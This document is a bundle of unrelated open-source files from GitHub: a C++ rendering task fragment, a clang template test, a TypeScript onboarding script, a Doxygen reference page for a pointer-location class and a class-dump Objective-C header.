const HdRenderPassAovBindingVector& aovBindings =
_renderPassState->GetAovBindings();
if (!aovBindings.empty()) {
unsigned int w = aovBindings.front().renderBuffer->GetWidth();
unsigned int h = aovBindings.front().renderBuffer->GetHeight();
screenSize = GfVec2i(w,h);
} else {
// Without AOVs we don't know the window / screen size.
const int oitScreenSizeFallback = 2048;
if (_screenSize[0] != oitScreenSizeFallback) {
TF_WARN("Invalid AOVs for Oit Resolve Task");
}
screenSize[0] = oitScreenSizeFallback;
screenSize[1] = oitScreenSizeFallback;
}
_PrepareOitBuffers(ctx, renderIndex, screenSize);
}
void
HdxOitResolveTask::Execute(HdTaskContext* ctx)
{
HD_TRACE_FUNCTION();
HF_MALLOC_TAG_FUNCTION();
// Check whether the request flag was set and delete it so that for the
// next iteration the request flag is not set unless an OIT render task
// explicitly sets it.
if (ctx->erase(HdxTokens->oitRequestFlag) == 0) {
return;
}
if (!TF_VERIFY(_renderPassState)) return;
if (!TF_VERIFY(_renderPassShader)) return;
HdxOitBufferAccessor oitBufferAccessor(ctx);
if (!oitBufferAccessor.AddOitBufferBindings(_renderPassShader)) {
TF_CODING_ERROR(
"No OIT buffers allocated but needed by OIT resolve task");
return;
}
_renderPassState->Bind();
glDisable(GL_DEPTH_TEST);
_renderPass->Execute(_renderPassState, GetRenderTags());
glEnable(GL_DEPTH_TEST);
_renderPassState->Unbind();
}
PXR_NAMESPACE_CLOSE_SCOPE
| {
"pile_set_name": "Github"
} |
2 1 100
1 2 5
| {
"pile_set_name": "Github"
} |
/**
* @license
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { OnboardingCard } from '../src/elements/onboarding-card/onboarding-card.js';
import { fire } from '../src/utils/fire.js';
import { loadImages } from '../src/utils/load-images.js';
/**
* @hidden
*/
export async function startOnboardingProcess(images: string[]) {
const { config } = window.PerceptionToolkit || { config: { root: '' } };
const { root = '' } = config;
const onboarding = new OnboardingCard({polyfillPrefix: root});
await onboarding.ready;
onboarding.mode = 'fade';
const stepImages = await loadImages(images);
for (const stepImage of stepImages) {
// Assume each image ought to be at 50%, which is the case here because the
// images are at 2x for high dpi screens.
stepImage.width = stepImage.naturalWidth * 0.5;
stepImage.height = stepImage.naturalHeight * 0.5;
// Update the onboarding element's dimensions.
if (onboarding.width === 0 || onboarding.height === 0) {
onboarding.width = stepImage.width;
onboarding.height = stepImage.height;
}
onboarding.appendChild(stepImage);
}
document.body.appendChild(onboarding);
}
window.addEventListener('keyup', (e) => {
const card = document.activeElement as OnboardingCard;
if (card.tagName !== OnboardingCard.defaultTagName.toUpperCase()) {
return;
}
switch (e.key) {
case ' ':
card.next();
break;
case 'Escape':
fire(OnboardingCard.onboardingFinishedEvent, card);
break;
default: return;
}
});
window.addEventListener(OnboardingCard.onboardingFinishedEvent, (e) => {
const target = e.target as OnboardingCard;
const tagName = OnboardingCard.defaultTagName.toUpperCase();
if (!target || target.tagName !== tagName) {
return;
}
target.remove();
document.body.focus();
});
// Register the card element, and start the process.
customElements.define(OnboardingCard.defaultTagName, OnboardingCard);
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -fsyntax-only -std=c++11 -verify %s
template<typename T, typename U> struct pair { };
template<typename ...Types> struct tuple { };
template<typename T, typename U>
struct is_same {
static const bool value = false;
};
template<typename T>
struct is_same<T, T> {
static const bool value = true;
};
namespace ExpandIntoFixed {
template<typename T,
typename U,
typename V = pair<T, U>,
typename W = V*>
class X0 { };
template<typename ...Ts>
class X1 {
public:
typedef X0<Ts...> type;
};
static_assert(is_same<X1<int, int>::type,
X0<int, int, pair<int, int>, pair<int, int>*>>::value,
"fails with two default arguments");
static_assert(is_same<X1<int, int, float>::type,
X0<int, int, float, float*>>::value,
"fails with one default argument");
static_assert(is_same<X1<int, int, float, double>::type,
X0<int, int, float, double>>::value,
"fails with no default arguments");
}
namespace ExpandIntoFixedShifted {
template<typename T,
typename U,
typename V = pair<T, U>,
typename W = V*>
class X0 { };
template<typename ...Ts>
class X1 {
public:
typedef X0<char, Ts...> type;
};
static_assert(is_same<X1<int>::type,
X0<char, int, pair<char, int>, pair<char, int>*>>::value,
"fails with two default arguments");
static_assert(is_same<X1<int, float>::type,
X0<char, int, float, float*>>::value,
"fails with one default argument");
static_assert(is_same<X1<int, float, double>::type,
X0<char, int, float, double>>::value,
"fails with no default arguments");
}
namespace Deduction {
template <typename X, typename Y = double> struct Foo {};
template <typename ...Args> tuple<Args...> &foo(Foo<Args...>);
void call_foo(Foo<int, float> foo_if, Foo<int> foo_i) {
tuple<int, float> &t1 = foo(foo_if);
tuple<int, double> &t2 = foo(foo_i);
}
}
namespace PR9021a {
template<typename, typename>
struct A { };
template<typename ...T>
struct B {
A<T...> a1;
};
void test() {
B<int, int> c;
}
}
namespace PR9021b {
template<class, class>
struct t2
{
};
template<template<class...> class M>
struct m
{
template<class... B>
using inner = M<B...>;
};
m<t2> sta2;
}
namespace PartialSpecialization {
template<typename T, typename U, typename V = U>
struct X0; // expected-note 2{{template is declared here}}
template<typename ...Ts>
struct X0<Ts...> { // expected-error {{class template partial specialization is not more specialized than the primary template}}
};
X0<int> x0i; // expected-error{{too few template arguments for class template 'X0'}}
X0<int, float> x0if;
X0<int, float, double> x0ifd;
}
namespace FixedAliasTemplate {
template<typename,typename,typename> struct S {};
template<typename T, typename U> using U = S<T, int, U>; // expected-note 2{{template parameter is declared here}}
template<typename...Ts> U<Ts...> &f(U<Ts...>, Ts...); // expected-error 2{{pack expansion used as argument for non-pack parameter of alias template}}
S<int, int, double> &s1 = f({}, 0, 0.0); // expected-error {{no matching function}}
}
namespace PR18401 {
template<typename... Args> struct foo { };
template<typename T, typename... Args> using bar = foo<T, Args...>; // expected-note 2{{template parameter is declared here}} expected-note {{'bar' declared here}}
template<typename T, typename... Args> using baz = bar<Args..., T>; // expected-error {{pack expansion used as argument for non-pack parameter of alias template}}
// FIXME: We should still record the alias template, but mark it as invalid.
template<typename...T> void f(baz<T...>); // expected-error {{no template named 'baz'; did you mean 'bar'}} expected-error {{pack expansion used as argument for non-pack}}
void g() { f(foo<int, char, double>()); } // expected-error {{no matching function}}
}
| {
"pile_set_name": "Github"
} |
<!-- HTML header for doxygen 1.8.4-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="generator" content="Doxygen 1.8.13"/>
<title>PVRShell: pvr::PointerLocation Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="IMGdoxygen.css" rel="stylesheet" type="text/css"/>
<link rel="shortcut icon" type="image/x-icon" href="img.ico">
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<div class="headercontent">
<div class="PVRlogo">
<a href="https://www.imgtec.com/developers/" target="_blank"><img src="PVRlogo.png" width="80%" height="80%" border="none" /></a>
</div>
<a class="SiteTitle"><span id="projectname">PVRShell</span> Documentation</a>
<tbody>
</div>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.13 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>pvr</b></li><li class="navelem"><a class="el" href="classpvr_1_1_pointer_location.html">PointerLocation</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> |
<a href="#pub-attribs">Public Attributes</a> |
<a href="classpvr_1_1_pointer_location-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">pvr::PointerLocation Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<p>Mouse pointer coordinates.
<a href="classpvr_1_1_pointer_location.html#details">More...</a></p>
<div class="dynheader">
Inheritance diagram for pvr::PointerLocation:</div>
<div class="dyncontent">
<div class="center"><img src="classpvr_1_1_pointer_location__inherit__graph.png" border="0" usemap="#pvr_1_1_pointer_location_inherit__map" alt="Inheritance graph"/></div>
<map name="pvr_1_1_pointer_location_inherit__map" id="pvr_1_1_pointer_location_inherit__map">
<area shape="rect" id="node2" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location" alt="" coords="5,5,192,32"/>
</map>
<center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr class="memitem:a598e65be809f329d8eb09fae940933d0"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classpvr_1_1_pointer_location.html#a598e65be809f329d8eb09fae940933d0">PointerLocation</a> ()</td></tr>
<tr class="memdesc:a598e65be809f329d8eb09fae940933d0"><td class="mdescLeft"> </td><td class="mdescRight">Constructor <a href="#a598e65be809f329d8eb09fae940933d0">More...</a><br /></td></tr>
<tr class="separator:a598e65be809f329d8eb09fae940933d0"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a4f956da4fd9838635527bc539d77991d"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classpvr_1_1_pointer_location.html#a4f956da4fd9838635527bc539d77991d">PointerLocation</a> (const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> &st)</td></tr>
<tr class="memdesc:a4f956da4fd9838635527bc539d77991d"><td class="mdescLeft"> </td><td class="mdescRight">Copy Constructor <a href="#a4f956da4fd9838635527bc539d77991d">More...</a><br /></td></tr>
<tr class="separator:a4f956da4fd9838635527bc539d77991d"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a4bff2ca9ce40b7bca262ce11a6bb27d4"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classpvr_1_1_pointer_location.html#a4bff2ca9ce40b7bca262ce11a6bb27d4">PointerLocation</a> (int16_t <a class="el" href="structpvr_1_1_pointer_location_store.html#ab1413acf53b7ac3e7cd240ae90aae875">x</a>, int16_t <a class="el" href="structpvr_1_1_pointer_location_store.html#acbf828258ec0845bb895e73ffa42d35e">y</a>)</td></tr>
<tr class="memdesc:a4bff2ca9ce40b7bca262ce11a6bb27d4"><td class="mdescLeft"> </td><td class="mdescRight">Constructor <a href="#a4bff2ca9ce40b7bca262ce11a6bb27d4">More...</a><br /></td></tr>
<tr class="separator:a4bff2ca9ce40b7bca262ce11a6bb27d4"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a07b8df33b44882e18788d636e5eb19ae"><td class="memItemLeft" align="right" valign="top"><a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#a07b8df33b44882e18788d636e5eb19ae">operator+</a> (const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> &rhs)</td></tr>
<tr class="memdesc:a07b8df33b44882e18788d636e5eb19ae"><td class="mdescLeft"> </td><td class="mdescRight">Operator+ <a href="#a07b8df33b44882e18788d636e5eb19ae">More...</a><br /></td></tr>
<tr class="separator:a07b8df33b44882e18788d636e5eb19ae"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a72a67abac8d27278a07d30f69f26a588"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#a72a67abac8d27278a07d30f69f26a588">operator+=</a> (const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> &rhs)</td></tr>
<tr class="memdesc:a72a67abac8d27278a07d30f69f26a588"><td class="mdescLeft"> </td><td class="mdescRight">Operator+= <a href="#a72a67abac8d27278a07d30f69f26a588">More...</a><br /></td></tr>
<tr class="separator:a72a67abac8d27278a07d30f69f26a588"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae3c28633d4c55cda96674c4f4f1ec468"><td class="memItemLeft" align="right" valign="top"><a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#ae3c28633d4c55cda96674c4f4f1ec468">operator-</a> (const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> &rhs)</td></tr>
<tr class="memdesc:ae3c28633d4c55cda96674c4f4f1ec468"><td class="mdescLeft"> </td><td class="mdescRight">Operator- <a href="#ae3c28633d4c55cda96674c4f4f1ec468">More...</a><br /></td></tr>
<tr class="separator:ae3c28633d4c55cda96674c4f4f1ec468"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a7ae88dbbdb587bef11eeba2f38a38a70"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#a7ae88dbbdb587bef11eeba2f38a38a70">operator-=</a> (const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> &rhs)</td></tr>
<tr class="memdesc:a7ae88dbbdb587bef11eeba2f38a38a70"><td class="mdescLeft"> </td><td class="mdescRight">Operator-= <a href="#a7ae88dbbdb587bef11eeba2f38a38a70">More...</a><br /></td></tr>
<tr class="separator:a7ae88dbbdb587bef11eeba2f38a38a70"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a>
Public Attributes</h2></td></tr>
<tr class="memitem:ab1413acf53b7ac3e7cd240ae90aae875"><td class="memItemLeft" align="right" valign="top"><a id="ab1413acf53b7ac3e7cd240ae90aae875"></a>
int16_t </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#ab1413acf53b7ac3e7cd240ae90aae875">x</a></td></tr>
<tr class="memdesc:ab1413acf53b7ac3e7cd240ae90aae875"><td class="mdescLeft"> </td><td class="mdescRight">The x position. <br /></td></tr>
<tr class="separator:ab1413acf53b7ac3e7cd240ae90aae875"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:acbf828258ec0845bb895e73ffa42d35e"><td class="memItemLeft" align="right" valign="top"><a id="acbf828258ec0845bb895e73ffa42d35e"></a>
int16_t </td><td class="memItemRight" valign="bottom"><a class="el" href="structpvr_1_1_pointer_location_store.html#acbf828258ec0845bb895e73ffa42d35e">y</a></td></tr>
<tr class="memdesc:acbf828258ec0845bb895e73ffa42d35e"><td class="mdescLeft"> </td><td class="mdescRight">The y position. <br /></td></tr>
<tr class="separator:acbf828258ec0845bb895e73ffa42d35e"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>Mouse pointer coordinates.</p>
</div><h2 class="groupheader">Constructor & Destructor Documentation</h2>
<a id="a598e65be809f329d8eb09fae940933d0"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a598e65be809f329d8eb09fae940933d0">◆ </a></span>PointerLocation() <span class="overload">[1/3]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">pvr::PointerLocation::PointerLocation </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Constructor</p>
</div>
</div>
<a id="a4f956da4fd9838635527bc539d77991d"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a4f956da4fd9838635527bc539d77991d">◆ </a></span>PointerLocation() <span class="overload">[2/3]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">pvr::PointerLocation::PointerLocation </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> & </td>
<td class="paramname"><em>st</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">explicit</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Copy Constructor</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">st</td><td>Copy source</td></tr>
</table>
</dd>
</dl>
</div>
</div>
<a id="a4bff2ca9ce40b7bca262ce11a6bb27d4"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a4bff2ca9ce40b7bca262ce11a6bb27d4">◆ </a></span>PointerLocation() <span class="overload">[3/3]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">pvr::PointerLocation::PointerLocation </td>
<td>(</td>
<td class="paramtype">int16_t </td>
<td class="paramname"><em>x</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int16_t </td>
<td class="paramname"><em>y</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Constructor</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">x</td><td>X coordinate</td></tr>
<tr><td class="paramname">y</td><td>Y coordinate</td></tr>
</table>
</dd>
</dl>
</div>
</div>
<h2 class="groupheader">Member Function Documentation</h2>
<a id="a07b8df33b44882e18788d636e5eb19ae"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a07b8df33b44882e18788d636e5eb19ae">◆ </a></span>operator+()</h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> pvr::PointerLocationStore::operator+ </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> & </td>
<td class="paramname"><em>rhs</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">inherited</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Operator+</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">rhs</td><td>Another <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a>.</td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>The new <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a></dd></dl>
</div>
</div>
<a id="a72a67abac8d27278a07d30f69f26a588"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a72a67abac8d27278a07d30f69f26a588">◆ </a></span>operator+=()</h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">void pvr::PointerLocationStore::operator+= </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> & </td>
<td class="paramname"><em>rhs</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">inherited</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Operator+=</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">rhs</td><td>Another <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a>.</td></tr>
</table>
</dd>
</dl>
</div>
</div>
<a id="ae3c28633d4c55cda96674c4f4f1ec468"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ae3c28633d4c55cda96674c4f4f1ec468">◆ </a></span>operator-()</h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> pvr::PointerLocationStore::operator- </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> & </td>
<td class="paramname"><em>rhs</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">inherited</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Operator-</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">rhs</td><td>Another <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a>.</td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>The new <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a></dd></dl>
</div>
</div>
<a id="a7ae88dbbdb587bef11eeba2f38a38a70"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a7ae88dbbdb587bef11eeba2f38a38a70">◆ </a></span>operator-=()</h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">void pvr::PointerLocationStore::operator-= </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structpvr_1_1_pointer_location_store.html">PointerLocationStore</a> & </td>
<td class="paramname"><em>rhs</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">inherited</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>Operator-=</p>
<dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">rhs</td><td>Another <a class="el" href="structpvr_1_1_pointer_location_store.html" title="A storage structure for the pointer location">PointerLocationStore</a>.</td></tr>
</table>
</dd>
</dl>
</div>
</div>
<hr/>The documentation for this class was generated from the following file:<ul>
<li>/usr/buildxl/buildroot/sdk/branch/SDK/framework/PVRShell/<a class="el" href="_shell_8h_source.html">Shell.h</a></li>
</ul>
</div><!-- contents -->
<!-- HTML footer for doxygen 1.8.4-->
<!-- start footer part (NON TREEVIEW ONLY!!) -->
<!--BEGIN GENERATE_TREEVIEW-->
<div id="FooterMainContainer">
<div id="FooterContainer">
<div class="footerlogo">
<a href="http://www.imgtec.com" target="_blank"><img src="img-footer-logo-grey.png" width="20%" height="20%" border="none" /></a>
</div>
<div class="copyright"><p>© Imagination Technologies Limited<br> All rights reserved</p></div>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/**
* This header is generated by class-dump-z 0.2a.
* class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3.
*
* Source: /System/Library/PrivateFrameworks/BackRow.framework/BackRow
*/
#import "BackRow-Structs.h"
#import "BRControl.h"
@class NSMutableDictionary, NSArray, NSMutableArray, BRImageControl;
@interface BRSegmentedSortControl : BRControl {
@private
BRImageControl *_leftEndCapLayer; // 40 = 0x28
NSMutableArray *_dividerLayers; // 44 = 0x2c
NSMutableArray *_contentLayers; // 48 = 0x30
NSMutableArray *_textLayers; // 52 = 0x34
BRImageControl *_rightEndCapLayer; // 56 = 0x38
NSArray *_segmentNames; // 60 = 0x3c
NSMutableDictionary *_images; // 64 = 0x40
int _selectedSegment; // 68 = 0x44
float _widthRatio; // 72 = 0x48
}
@property(assign) int selectedSegment; // G=0x315b8e75; S=0x315b87cd; converted property
- (id)initWithSegmentNames:(id)segmentNames selectedSegment:(int)segment; // 0x3160677d
- (id)initWithSegmentNames:(id)segmentNames selectedSegment:(int)segment widthRatio:(float)ratio; // 0x315b83c5
- (id)_attributedTextForSegment:(int)segment forSelectedState:(BOOL)selectedState; // 0x315b8705
- (id)_contentBackgroundTextureForSelectedState:(BOOL)selectedState; // 0x315b8b9d
- (id)_dividerTextureForSelectedState:(BOOL)selectedState; // 0x315b8bd1
- (id)_leftEndCapTexureForSelectedState:(BOOL)selectedState; // 0x315b8a2d
- (id)_loadImageFromFile:(id)file; // 0x315b8a61
- (id)_rightEndCapTexureForSelectedState:(BOOL)selectedState; // 0x315b8b69
- (void)_updateSegmentState; // 0x315b8899
- (BOOL)brEventAction:(id)action; // 0x315b8da9
- (void)dealloc; // 0x315b9db1
- (void)layoutSubcontrols; // 0x31606835
- (int)segmentCount; // 0x315b86e5
// converted property getter: - (int)selectedSegment; // 0x315b8e75
// converted property setter: - (void)setSelectedSegment:(int)segment; // 0x315b87cd
- (float)visualHorizontalCenter; // 0x316067a1
@end
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.